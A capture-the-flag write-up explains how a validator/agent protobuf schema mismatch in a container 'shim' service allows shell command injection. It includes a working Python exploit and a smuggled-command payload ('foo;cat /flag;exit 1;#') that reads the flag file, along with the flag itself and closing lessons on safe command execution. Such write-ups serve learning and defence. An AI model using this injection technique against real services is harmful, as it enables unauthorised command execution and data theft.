Category: Pwn / Reversing
Flag: CDDC2026{557d5516f62942e94a5928ba3a21586e}
Challenge
Defender received a new order while patrolling the outskirts of the Rift.
Verify if the recently released shim pipeline is operating as designed and as intended. Received from He_dqu_rte_s
nc cddc2026-challs-nlb-6d04de59390ca275.elb.ap-southeast-1.amazonaws.com 37580
We're given:
shim/
├── Dockerfile
├── README.md
├── build.sh / run.sh / start.sh
├── shim-agent (Go ELF, stripped)
├── shim-monitor (Go ELF, stripped)
├── pushgw (POSIX shell script)
├── flag (CDDC2026{THIS_IS_FAKE_FLAG} - placeholder)
└── demo/ (sample logs + cgroup files)
README.md:
A container-runtime observability shim exposing metrics push, log tail, and cgroup resource queries over a binary protobuf protocol on TCP.
The remote listens on TCP 1337. Framing: 4-byte big-endian length prefix followed by a serialized
MonitorRequestprotobuf. The response uses the same framing and carries aMonitorResponse.
Architecture
start.sh is the runtime layout:
nsjail -Ml --port 9999 --bindhost 127.0.0.1 \
--chroot /jail/agent --user 99999 --group 99999 \
--time_limit 30 ... -- /usr/local/bin/shim-agent &
socat -T 30 TCP-LISTEN:1337,fork,reuseaddr,max-children=16 \
EXEC:/usr/local/bin/shim-monitor,su=shimuser &
Two Go binaries:
| Process | Role | Where it runs |
|---|---|---|
shim-monitor |
Public TCP/1337 frontend; validates input, forwards | Outside jail, as shimuser |
shim-agent |
Talks to filesystem; reads logs/cgroups; calls pushgw |
Inside nsjail chroot |
shim-monitor ↔ shim-agent over 127.0.0.1:9999 using the same protobuf framing.
The flag (/flag, mode 0444) lives inside /jail/agent/ and is therefore readable by shim-agent (uid 99999). The job is to coerce the agent into reading it for us.
Recovering the protocol
Both binaries are stripped Go but still embed the FileDescriptorProto. Pulling it from shim-monitor:
syntax = "proto3";
package shim.v1;
message ResourceQuery {
string cgroup_path = 1;
ResourceKind kind = 2;
uint32 sample_count = 3;
}
message LogQuery {
string log_name = 1;
uint32 tail_lines = 2;
int64 since_unix = 3;
}
message ResourceStats {
double cpu_usage_ratio = 1;
uint64 memory_bytes = 2;
uint64 io_read_bytes = 3;
uint64 io_write_bytes = 4;
}
message MonitorRequest {
RequestType type = 1;
string container_id = 2;
string metric_labels = 3; // <-- monitor view
ResourceQuery res = 4;
LogQuery log = 5;
}
message MonitorResponse {
RequestType type = 1;
Status status = 2;
string error = 3;
repeated string log_lines = 4;
ResourceStats stats = 5;
}
enum RequestType { REQUEST_TYPE_UNSPECIFIED=0; METRICS=1; LOGS=2; RESOURCE_QUERY=3; }
enum Status { STATUS_UNSPECIFIED=0; OK=1; FAILED=2; BAD_REQUEST=3; UNAUTHORIZED=4; }
enum ResourceKind{ RESOURCE_KIND_UNSPECIFIED=0; CPU=1; MEMORY=2; IO=3; }
Probing the validator
shim-monitor exposes main.validate, main.validateLogs, main.validateResource, main.callAgent. By sending requests and observing rejection messages we recover the rules:
| Field | Accepted form |
|---|---|
container_id |
^[0-9a-f]{64}$ |
log_name |
exactly stdout or stderr |
cgroup_path |
^/sys/fs/cgroup/system\.slice/shim-[0-9a-f]{64}\.scope (note: not $-anchored — but the trailing path can only be appended to, not redirected) |
metric_labels |
^[A-Za-z0-9_.:]+$ (no =, ,, -, space, /, ; …) |
The demo dir conveniently provides a real container id:
7c5d8e9a3b2f1d6c4a8e0b5f2d9c3a7e1b4f8d2c6a0e3b7f1d5c9a2e6b4f8d1c
Logs (LOGS) and cgroup reads (RESOURCE_QUERY) only return data from very specific paths; no obvious traversal works there.
The bug
Comparing the embedded proto descriptors of the two binaries side-by-side:
MON metric_labels -> opt ← treated as singular string (proto3 last-wins)
AGT metric_labels -> rep ← treated as repeated string (slice)
Schema drift between the validator and the executor. Every other field is opt/rep consistent — only metric_labels differs.
Implication: if we send the metric_labels field multiple times in one request,
shim-monitordeserializes only the last value and validates that one.shim-agentcollects all of them into[]string.
So the earlier labels travel into the agent completely unsanitized.
Where the labels go
Inspecting the pushMetrics codepath in shim-agent, around the call to pushgw, we find these immediate string literals being copied into a buffer:
" push --"
"job=shim"
" --label="
"=" (one byte)
The agent assembles a single string and runs it via /bin/sh -c:
/usr/local/bin/pushgw push -- job=shim --label=<L1> --label=<L2> ...
Because labels are concatenated into the shell line, any character that survives validation gets shell-evaluated. The validator-bypassed labels can contain ;, newline, $(), etc.
Where the output goes
pushgw is a harmless echo script. But if the shell line returns non-zero, the agent's combined output is reflected back as MonitorResponse.error (string format "pushgw failed: %s"). So injection + forced non-zero exit → output exfiltration.
Exploit
Two metric_labels:
metric_labels[0] = "foo;cat /flag;exit 1;#"— never validatedmetric_labels[1] = "safe"— passes the regex; satisfiesshim-monitor
Sent as one framed MonitorRequest{type=METRICS, container_id=<64-hex>, metric_labels=[..., ...]}.
Resulting shell command at the agent:
/usr/local/bin/pushgw push -- job=shim --label=foo;cat /flag;exit 1;# --label=safe
cat /flag lands in stdout, exit 1 makes the shell return non-zero, the agent stuffs the captured output into error, which is sent back to us.
#!/usr/bin/env python3
import socket, struct, sys
HOST = 'cddc2026-challs-nlb-6d04de59390ca275.elb.ap-southeast-1.amazonaws.com'
PORT = 37580
CID = b'7c5d8e9a3b2f1d6c4a8e0b5f2d9c3a7e1b4f8d2c6a0e3b7f1d5c9a2e6b4f8d1c'
def vi(n):
out = b''
while True:
b = n & 0x7f; n >>= 7
if n:
out += bytes([b | 0x80])
else:
return out + bytes([b])
def es(f, s): return vi((f << 3) | 2) + vi(len(s)) + s
def ee(f, n): return vi((f << 3) | 0) + vi(n)
payload = b'foo;cat /flag;exit 1;#'
req = ee(1, 1) + es(2, CID) + es(3, payload) + es(3, b'safe')
s = socket.create_connection((HOST, PORT), timeout=15)
s.sendall(struct.pack('>I', len(req)) + req)
n = struct.unpack('>I', s.recv(4))[0]
buf = b''
while len(buf) < n:
buf += s.recv(n - len(buf))
print(buf)
Output:
b'\x08\x01\x10\x02\x1ampushgw failed: pushgw: forwarded 2 arg(s) to '
b'http://127.0.0.1:9091\nCDDC2026{557d5516f62942e94a5928ba3a21586e}'
Flag: CDDC2026{557d5516f62942e94a5928ba3a21586e}
Lessons
- When validation and execution live in different binaries/processes, they must share one source of truth for the schema. A single character (
optvsrep) is enough to make every validator irrelevant. - Proto3 silently accepts repeated wire entries for singular fields and keeps only the last — a great primitive for desync bugs whenever validators trust singular semantics.
- Never assemble shell commands by string concatenation, regardless of how "safe" the upstream allowlist looks.
exec.Command(bin, args...)would have killed this bug entirely.